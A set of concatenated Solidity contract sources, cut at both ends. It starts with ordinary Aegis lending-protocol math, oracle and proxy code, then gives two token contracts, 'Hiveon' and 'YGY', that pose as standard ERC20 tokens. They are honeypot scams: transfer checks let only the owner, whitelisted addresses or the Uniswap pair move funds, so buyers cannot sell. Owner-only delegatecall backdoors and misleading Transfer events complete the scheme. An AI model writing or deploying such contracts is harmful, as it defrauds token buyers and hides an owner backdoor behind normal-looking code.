mulScalar(_a, _scalar);\n if (err != BaseReporter.MathError.NO_ERROR) {\n return (err, 0);\n }\n return (BaseReporter.MathError.NO_ERROR, truncate(product));\n }\n\n /**\n * @notice Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer\n * @param _a exp\n * @param _scalar uint\n * @param _addend uint\n * @return MathError, Exp\n */\n function mulScalarTruncateAddUInt(Exp memory _a, uint _scalar, uint _addend) pure internal returns (BaseReporter.MathError, uint) {\n (BaseReporter.MathError err, Exp memory product) = mulScalar(_a, _scalar);\n if (err != BaseReporter.MathError.NO_ERROR) {\n return (err, 0);\n }\n return addUInt(truncate(product), _addend);\n }\n\n /**\n * @notice Divide an Exp by a scalar, returning a new Exp\n * @param _a exp\n * @param _scalar uint\n * @return MathError, Exp\n */\n function divScalar(Exp memory _a, uint _scalar) pure internal returns (BaseReporter.MathError, Exp memory) {\n (BaseReporter.MathError err0, uint descaledMantissa) = divUInt(_a.mantissa, _scalar);\n if (err0 != BaseReporter.MathError.NO_ERROR) {\n return (err0, Exp({mantissa: 0}));\n }\n return (BaseReporter.MathError.NO_ERROR, Exp({mantissa: descaledMantissa}));\n }\n\n /**\n * @notice Divide a scalar by an Exp, returning a new Exp\n * @param _scalar uint\n * @param _divisor exp\n * @return MathError, Exp\n */\n function divScalarByExp(uint _scalar, Exp memory _divisor) pure internal returns (BaseReporter.MathError, Exp memory) {\n (BaseReporter.MathError err0, uint numerator) = mulUInt(expScale, _scalar);\n if (err0 != BaseReporter.MathError.NO_ERROR) {\n return (err0, Exp({mantissa: 0}));\n }\n return getExp(numerator, _divisor.mantissa);\n }\n\n /**\n * @notice Divide a scalar by an Exp, then truncate to return an unsigned integer\n * @param _scalar uint\n * @param _divisor exp\n * @return MathError, Exp\n */\n function divScalarByExpTruncate(uint _scalar, Exp memory _divisor) pure internal returns (BaseReporter.MathError, uint) {\n (BaseReporter.MathError err, Exp memory fraction) = divScalarByExp(_scalar, _divisor);\n if (err != BaseReporter.MathError.NO_ERROR) {\n return (err, 0);\n }\n return (BaseReporter.MathError.NO_ERROR, truncate(fraction));\n }\n\n /**\n * @notice Multiplies two exponentials, returning a new exponential\n * @param _a exp\n * @param _b exp\n * @return MathError, Exp\n */\n function mulExp(Exp memory _a, Exp memory _b) pure internal returns (BaseReporter.MathError, Exp memory) {\n (BaseReporter.MathError err0, uint doubleScaledProduct) = mulUInt(_a.mantissa, _b.mantissa);\n if (err0 != BaseReporter.MathError.NO_ERROR) {\n return (err0, Exp({mantissa: 0}));\n }\n (BaseReporter.MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct);\n if (err1 != BaseReporter.MathError.NO_ERROR) {\n return (err1, Exp({mantissa: 0}));\n }\n (BaseReporter.MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale);\n assert(err2 == BaseReporter.MathError.NO_ERROR);\n return (BaseReporter.MathError.NO_ERROR, Exp({mantissa: product}));\n }\n\n /**\n * @notice Multiplies two exponentials given their mantissas, returning a new exponential\n * @param _a uint\n * @param _b uint\n * @return MathError, Exp\n */\n function mulExp(uint _a, uint _b) pure internal returns (BaseReporter.MathError, Exp memory) {\n return mulExp(Exp({mantissa: _a}), Exp({mantissa: _b}));\n }\n\n /**\n * @notice Multiplies three exponentials, returning a new exponential.\n * @param _a exp\n * @param _b exp\n * @param _c exp\n * @return MathError, Exp\n */\n function mulExp3(Exp memory _a, Exp memory _b, Exp memory _c) pure internal returns (BaseReporter.MathError, Exp memory) {\n (BaseReporter.MathError err, Exp memory ab) = mulExp(_a, _b);\n if (err != BaseReporter.MathError.NO_ERROR) {\n return (err, ab);\n }\n return mulExp(ab, _c);\n }\n\n /**\n * @notice Divides two exponentials, returning a new exponential\n * @param _a exp\n * @param _b exp\n * @return MathError, Exp\n */\n function divExp(Exp memory _a, Exp memory _b) pure internal returns (BaseReporter.MathError, Exp memory) {\n return getExp(_a.mantissa, _b.mantissa);\n }\n\n /**\n * @notice Truncates the given exp to a whole number value\n * @param _exp exp\n * @return uint\n */\n function truncate(Exp memory _exp) pure internal returns (uint) {\n return _exp.mantissa / expScale;\n }\n\n /**\n * @notice Checks if first Exp is less than second Exp\n * @param _left exp\n * @param _right exp\n * @return bool\n */\n function lessThanExp(Exp memory _left, Exp memory _right) pure internal returns (bool) {\n return _left.mantissa \u003c _right.mantissa;\n }\n\n /**\n * @notice Checks if left Exp \u003c= right Exp\n * @param _left exp\n * @param _right exp\n * @return bool\n */\n function lessThanOrEqualExp(Exp memory _left, Exp memory _right) pure internal returns (bool) {\n return _left.mantissa \u003c= _right.mantissa;\n }\n\n /**\n * @notice Checks if left Exp \u003e right Exp.\n * @param _left exp\n * @param _right exp\n */\n function greaterThanExp(Exp memory _left, Exp memory _right) pure internal returns (bool) {\n return _left.mantissa \u003e _right.mantissa;\n }\n\n /**\n * @notice returns true if Exp is exactly zero\n * @param _value exp\n * @return MathError, Exp\n */\n function isZeroExp(Exp memory _value) pure internal returns (bool) {\n return _value.mantissa == 0;\n }\n\n function safe224(uint _n, string memory _errorMessage) pure internal returns (uint224) {\n require(_n \u003c 2**224, _errorMessage);\n return uint224(_n);\n }\n\n function safe32(uint _n, string memory _errorMessage) pure internal returns (uint32) {\n require(_n \u003c 2**32, _errorMessage);\n return uint32(_n);\n }\n\n function add_(Exp memory _a, Exp memory _b) pure internal returns (Exp memory) {\n return Exp({mantissa: add_(_a.mantissa, _b.mantissa)});\n }\n\n function add_(Double memory _a, Double memory _b) pure internal returns (Double memory) {\n return Double({mantissa: add_(_a.mantissa, _b.mantissa)});\n }\n\n function add_(uint _a, uint _b) pure internal returns (uint) {\n return add_(_a, _b, \"add overflow\");\n }\n\n function add_(uint _a, uint _b, string memory _errorMessage) pure internal returns (uint) {\n uint c = _a + _b;\n require(c \u003e= _a, _errorMessage);\n return c;\n }\n\n function sub_(Exp memory _a, Exp memory _b) pure internal returns (Exp memory) {\n return Exp({mantissa: sub_(_a.mantissa, _b.mantissa)});\n }\n\n function sub_(Double memory _a, Double memory _b) pure internal returns (Double memory) {\n return Double({mantissa: sub_(_a.mantissa, _b.mantissa)});\n }\n\n function sub_(uint _a, uint _b) pure internal returns (uint) {\n return sub_(_a, _b, \"sub underflow\");\n }\n\n function sub_(uint _a, uint _b, string memory _errorMessage) pure internal returns (uint) {\n require(_b \u003c= _a, _errorMessage);\n return _a - _b;\n }\n\n function mul_(Exp memory _a, Exp memory _b) pure internal returns (Exp memory) {\n return Exp({mantissa: mul_(_a.mantissa, _b.mantissa) / expScale});\n }\n\n function mul_(Exp memory _a, uint _b) pure internal returns (Exp memory) {\n return Exp({mantissa: mul_(_a.mantissa, _b)});\n }\n\n function mul_(uint _a, Exp memory _b) pure internal returns (uint) {\n return mul_(_a, _b.mantissa) / expScale;\n }\n\n function mul_(Double memory _a, Double memory _b) pure internal returns (Double memory) {\n return Double({mantissa: mul_(_a.mantissa, _b.mantissa) / doubleScale});\n }\n\n function mul_(Double memory _a, uint _b) pure internal returns (Double memory) {\n return Double({mantissa: mul_(_a.mantissa, _b)});\n }\n\n function mul_(uint _a, Double memory _b) pure internal returns (uint) {\n return mul_(_a, _b.mantissa) / doubleScale;\n }\n\n function mul_(uint _a, uint _b) pure internal returns (uint) {\n return mul_(_a, _b, \"mul overflow\");\n }\n\n function mul_(uint _a, uint _b, string memory _errorMessage) pure internal returns (uint) {\n if (_a == 0 || _b == 0) {\n return 0;\n }\n uint c = _a * _b;\n require(c / _a == _b, _errorMessage);\n return c;\n }\n\n function div_(Exp memory _a, Exp memory _b) pure internal returns (Exp memory) {\n return Exp({mantissa: div_(mul_(_a.mantissa, expScale), _b.mantissa)});\n }\n\n function div_(Exp memory _a, uint _b) pure internal returns (Exp memory) {\n return Exp({mantissa: div_(_a.mantissa, _b)});\n }\n\n function div_(uint _a, Exp memory _b) pure internal returns (uint) {\n return div_(mul_(_a, expScale), _b.mantissa);\n }\n\n function div_(Double memory _a, Double memory _b) pure internal returns (Double memory) {\n return Double({mantissa: div_(mul_(_a.mantissa, doubleScale), _b.mantissa)});\n }\n\n function div_(Double memory _a, uint _b) pure internal returns (Double memory) {\n return Double({mantissa: div_(_a.mantissa, _b)});\n }\n\n function div_(uint _a, Double memory _b) pure internal returns (uint) {\n return div_(mul_(_a, doubleScale), _b.mantissa);\n }\n\n function div_(uint _a, uint _b) pure internal returns (uint) {\n return div_(_a, _b, \"div by zero\");\n }\n\n function div_(uint _a, uint _b, string memory _errorMessage) pure internal returns (uint) {\n require(_b \u003e 0, _errorMessage);\n return _a / _b;\n }\n\n function fraction(uint _a, uint _b) pure internal returns (Double memory) {\n return Double({mantissa: div_(mul_(_a, doubleScale), _b)});\n }\n}"},"InterestRateModel.sol":{"content":"pragma solidity ^0.5.16;\n\n/**\n * @title Aegis InterestRateModel interface\n * @author Aegis\n */\ncontract InterestRateModel {\n bool public constant isInterestRateModel = true;\n\n /**\n * @notice Calculates the current borrow interest rate per block\n * @param _cash The total amount of cash the market has\n * @param _borrows The total amount of borrows the market has outstanding\n * @param _reserves The total amnount of reserves the market has\n * @return The borrow rate per block (as a percentage, and scaled by 1e18)\n */\n function getBorrowRate(uint _cash, uint _borrows, uint _reserves) external view returns (uint);\n\n /**\n * @notice Calculates the current supply interest rate per block\n * @param _cash The total amount of cash the market has\n * @param _borrows The total amount of borrows the market has outstanding\n * @param _reserves The total amnount of reserves the market has\n * @param _reserveFactorMantissa The current reserve factor the market has\n * @return The supply rate per block (as a percentage, and scaled by 1e18)\n */\n function getSupplyRate(uint _cash, uint _borrows, uint _reserves, uint _reserveFactorMantissa) external view returns (uint);\n}"},"PriceOracle.sol":{"content":"pragma solidity ^0.5.16;\n\nimport \"./AToken.sol\";\n\n/**\n * @title Aegis Price Oracle\n * @author Aegis\n */\ncontract PriceOracle {\n address public owner;\n mapping(address =\u003e uint) prices;\n event PriceAccept(address _aToken, uint _oldPrice, uint _acceptPrice);\n\n constructor (address _admin) public {\n owner = _admin;\n }\n\n function getUnderlyingPrice(address _aToken) external view returns (uint) {\n // USDT/USDC 1:1\n if(keccak256(abi.encodePacked((AToken(_aToken).symbol()))) == keccak256(abi.encodePacked((\"USDT-A\"))) || keccak256(abi.encodePacked((AToken(_aToken).symbol()))) == keccak256(abi.encodePacked((\"USDC-A\")))) {\n return 1e18;\n }\n return prices[_aToken];\n }\n\n function postUnderlyingPrice(address _aToken, uint _price) external {\n require(msg.sender == owner, \"PriceOracle::postUnderlyingPrice owner failure\");\n uint old = prices[_aToken];\n prices[_aToken] = _price;\n emit PriceAccept(_aToken, old, _price);\n }\n}"},"Unitroller.sol":{"content":"pragma solidity ^0.5.16;\n\nimport \"./AegisComptrollerCommon.sol\";\nimport \"./BaseReporter.sol\";\n\n/**\n * @title Aegis Unitroller\n * @author Aegis\n */\ncontract Unitroller is AegisComptrollerCommon, BaseReporter {\n event NewPendingImplementation(address _oldPendingImplementation, address _newPendingImplementation);\n event NewImplementation(address _oldImplementation, address _newImplementation);\n event NewPendingAdmin(address _oldPendingAdmin, address _newPendingAdmin);\n event NewAdmin(address _oldAdmin, address _newAdmin);\n\n constructor () public {\n admin = msg.sender;\n liquidateAdmin = msg.sender;\n }\n\n function _setPendingImplementation(address _newPendingImplementation) public returns (uint) {\n if (msg.sender != admin) {\n return fail(Error.ERROR, ErrorRemarks.SET_PENDING_IMPLEMENTATION_OWNER_CHECK, uint(Error.ERROR));\n }\n address oldPendingImplementation = pendingComptrollerImplementation;\n pendingComptrollerImplementation = _newPendingImplementation;\n emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation);\n return uint(Error.SUCCESS);\n }\n\n /**\n * @notice Accepts new implementation of comptroller. msg.sender must be pendingImplementation\n * @return SUCCESS\n */\n function _acceptImplementation() public returns (uint) {\n if (msg.sender != pendingComptrollerImplementation || pendingComptrollerImplementation == address(0)) {\n return fail(Error.ERROR, ErrorRemarks.ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK, uint(Error.ERROR));\n }\n address oldImplementation = comptrollerImplementation;\n address oldPendingImplementation = pendingComptrollerImplementation;\n comptrollerImplementation = pendingComptrollerImplementation;\n pendingComptrollerImplementation = address(0);\n emit NewImplementation(oldImplementation, comptrollerImplementation);\n emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation);\n return uint(Error.SUCCESS);\n }\n\n /**\n * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.\n * @param _newPendingAdmin address\n * @return SUCCESS\n */\n function _setPendingAdmin(address _newPendingAdmin) public returns (uint) {\n if (msg.sender != admin) {\n return fail(Error.ERROR, ErrorRemarks.SET_PENDING_ADMIN_OWNER_CHECK, uint(Error.ERROR));\n }\n address oldPendingAdmin = pendingAdmin;\n pendingAdmin = _newPendingAdmin;\n emit NewPendingAdmin(oldPendingAdmin, _newPendingAdmin);\n return uint(Error.SUCCESS);\n }\n\n /**\n * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin\n * @return SUCCESS\n */\n function _acceptAdmin() public returns (uint) {\n if (msg.sender != pendingAdmin || msg.sender == address(0)) {\n return fail(Error.ERROR, ErrorRemarks.ACCEPT_ADMIN_PENDING_ADMIN_CHECK, uint(Error.ERROR));\n }\n address oldAdmin = admin;\n address oldPendingAdmin = pendingAdmin;\n admin = pendingAdmin;\n pendingAdmin = address(0);\n\n emit NewAdmin(oldAdmin, admin);\n emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);\n return uint(Error.SUCCESS);\n }\n\n /**\n * @dev Delegates execution to an implementation contract.\n * It returns to the external caller whatever the implementation returns\n * or forwards reverts.\n */\n function () payable external {\n // delegate all other functions to current implementation\n (bool success, ) = comptrollerImplementation.delegatecall(msg.data);\n\n assembly {\n let free_mem_ptr := mload(0x40)\n returndatacopy(free_mem_ptr, 0, returndatasize)\n\n switch success\n case 0 { revert(free_mem_ptr, returndatasize) }\n default { return(free_mem_ptr, returndatasize) }\n }\n }\n}"}}
|
DC1
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Hiveon {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
//
// https://ygy.finance/
//
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract YGY {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
